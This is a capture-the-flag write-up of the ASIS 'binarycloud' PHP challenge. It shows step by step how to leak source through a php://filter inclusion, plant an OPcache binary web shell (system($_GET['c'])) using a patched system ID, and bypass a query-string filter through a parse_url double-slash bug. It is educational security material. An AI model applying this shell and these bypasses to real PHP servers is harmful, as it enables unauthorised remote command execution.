Cool challenge this one based on an interesting article published recently. We’re given the following clue
The link takes us to a ordinary looking “File Upload Challenge” website but this one has a difference under the hood. A brief recon gives us the following links in robots.txt:
User-Agent: *
Disallow: /
Disallow: /debug.php
Disallow: /cache
Disallow: /uploads
Visiting debug.php we see the full phpinfo();
output. Very important for later:
We notice a couple of things here, that we’re running php7 and that Zend OPCache is enabled. Keep those in mind too. Next we suspect the ?page=
parameter and using this find that we can trivially leak the source code for the website using php filters. For example:
https://binarycloud.asis-ctf.ir/?page=php://filter/convert.base64-encode/resource=upload
We leak the pages:
- index.php
- home.php
- debug.php
- upload.php
We examine the source code for each and find an interesting code path in upload.php:
filter_directory();
if($_SERVER['QUERY_STRING'] && $_FILES['file']['name']){
if(!file_exists($_SERVER['QUERY_STRING'])) error("error3");
$name = preg_replace("/[^a-zA-Z0-9\.]/", "", basename($_FILES['file']['name']));
if(ew($name, ".php")) error("error");
$filename = $_SERVER['QUERY_STRING'] . "/" . $name;
The function ew()
is short for endswith()
and prevents us from uploading .php scripts directly. However we can control QUERY_STRING so we can decide where to place the file on the filesystem. Starting to make sense? No? Read on!
If you read up on this article you’ll see we’ve got all of the ingredients needed to upload a binary web shell here.
Before we continue though we need to double check the filter_directory()
function:
function filter_directory(){
$data = parse_url($_SERVER['REQUEST_URI']);
$filter = ["cache", "binarycloud"];
foreach($filter as $f){
if(preg_match("/".$f."/i", $data['query'])){
die("Attack Detected");
}
}
}
Ok so we understand what we need to target and our approximate attack path now. In order to carry out this attack we do the following.
First, stand up our own PHP7 webserver with OPCache enabled. I spun up an Amazon Linux EC2 instance for this and followed a web how-to. It worked sufficiently well.
Next, we need to set our server environment up similarly to the target host. We know the opcache paths because we can read them in the phpinfo();
output.
So I create these paths as well and place my backdoor PHP file which I called home.php
in /home/binarycloud/www
. The contents of my backdoor is simply:
< ?php system($_GET['c']); ? >
Then I set the webserver DocumentRoot to /home/binarycloud/www
. When all this is done I simply poke my own server with curl -v localhost/home.php
and it generates me a binary cache version of our backdoor home.php called home.php.bin.
Next we need to extract the CTF server’s system ID. We do this using the tool developed by the GoSecure guys. You can check out the repo here: https://github.com/GoSecure/php7-opcache-override.
root@kali:~/asis/web/binarycloud/php7-opcache-override# python system_id_scraper.py http://binarycloud.asis-ctf.ir/debug.php
PHP version : 7.0.4-7ubuntu2
Zend Extension ID : API320151012,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
------------
System ID : 81d80d78c6ef96b89afaadc7ffc5d7ea
Once we have that we can use a hex editor to modify the system ID in our home.php.bin file.
Ok so now we are finally ready to turn our sights on delivering the payload! We know from the article that we need to place our home.php.bin file directly into the cache path. So I use the web form to upload our .bin file. It will successfully bypass the .php file filter because thankfully it endswith()
.bin now! I set the upload path to the absolute path value: /home/binarycloud/www/cache/81d80d78c6ef96b89afaadc7ffc5d7ea/home/binarycloud/www/
using BurpSuite.
Now - how to bypass the filter_directory();
function? Well there’s a tricky part here we learned during this CTF. There’s a bug in the way PHP will parse relative URLs that begin with multiple slashes (e.g. //
). If a relative URI is sent and the path begins with //
then any query string will incorrectly wind up in the path instead. Here’s an demonstration of how it works:
<?php
// single slash case
$uri = "/upload?/home/binarycloud/";
$data = parse_url($uri);
print_r($data);
// doubleslash case
$uri = "//upload?/home/binarycloud/";
$data = parse_url($uri);
print_r($data);
?>
And the output:
[root@ip-172-31-11-31 www]# php -v
PHP 7.0.6 (cli) (built: May 1 2016 12:13:47) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies
with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies
[root@ip-172-31-11-31 www]# php parse_url.php
Array
(
[path] => /upload
[query] => /home/binarycloud/
)
Array
(
[host] => upload?
[path] => /home/binarycloud/
)
So our final payload in BurpSuite looks like this:
To which we are greeted with a success message (yay!) and finally, successful command execution.
And finally, after sleuthing a little bit to find the old flag: